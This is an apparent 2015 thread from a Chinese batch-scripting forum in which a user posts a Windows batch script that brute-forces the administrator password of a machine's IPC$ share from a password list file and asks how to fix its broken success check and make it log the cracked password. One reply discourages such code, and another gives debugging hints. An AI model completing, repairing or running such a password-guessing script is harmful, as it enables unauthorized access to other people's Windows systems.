Board logo

标题: [网络连接] 扫描3389弱口令批处理问题 [打印本页]

作者: czm_lz    时间: 2015-9-18 20:55     标题: 扫描3389弱口令批处理问题

自己做了个扫描3389弱口令的批处理,代码如下:
@echo on
rem net use \\192.168.1.108\ipc$ /del
for /F %%j in (d:\test\pass.txt) do (
        net use \\192.168.1.108\ipc$ "%%j" /user:"administrator"
        echo if ERRORLEVEL 0 goto ok
)
goto bad
k
echo "密码成功破解,%%j" >> d:\test\ok.txt
goto end
:bad
echo "结束,未找到密码...">> d:\test\ok.txt
:end
pause
exit
经测试,无论密码是否正确,ERRORLEVEL都是0, 且不跳转到ok。强制跳转到ok后,并不能将%%j(密码)输出到ok.txt文件,输出内容为"密码成功破解,%j"。
问题:
1、在net use \\192.168.1.108\ipc$ "%%j" /user:"administrator"成功执行后,如何正确捕捉到“命令成功完成”并跳转到ok?
2、在扫描成功后,如何将密码%%j输出到文件?
3、代码中是否还有其他错误
请各位大侠指教。
作者: czm_lz    时间: 2015-9-18 21:47

没人答啊,求各位大神!
作者: 回家路上    时间: 2015-9-18 22:20

如果这是你写的,自己瞄两眼也就能看出错误。

我想论坛并不鼓励类似功能的代码。
作者: flyinnet9    时间: 2015-9-20 01:25

本帖最后由 flyinnet9 于 2015-9-20 01:46 编辑

1、麻烦输入if  /?

2、"echo if ERRORLEVEL 0 goto ok" echo 是什么鬼

3、“net use \\192.168.1.108\ipc$ "%%j" /user:"administrator"” 这种格式。。。。不确定是这种写法,没地方测试(无责任预测)




欢迎光临 批处理之家 (http://www.bathome.net/) Powered by Discuz! 7.2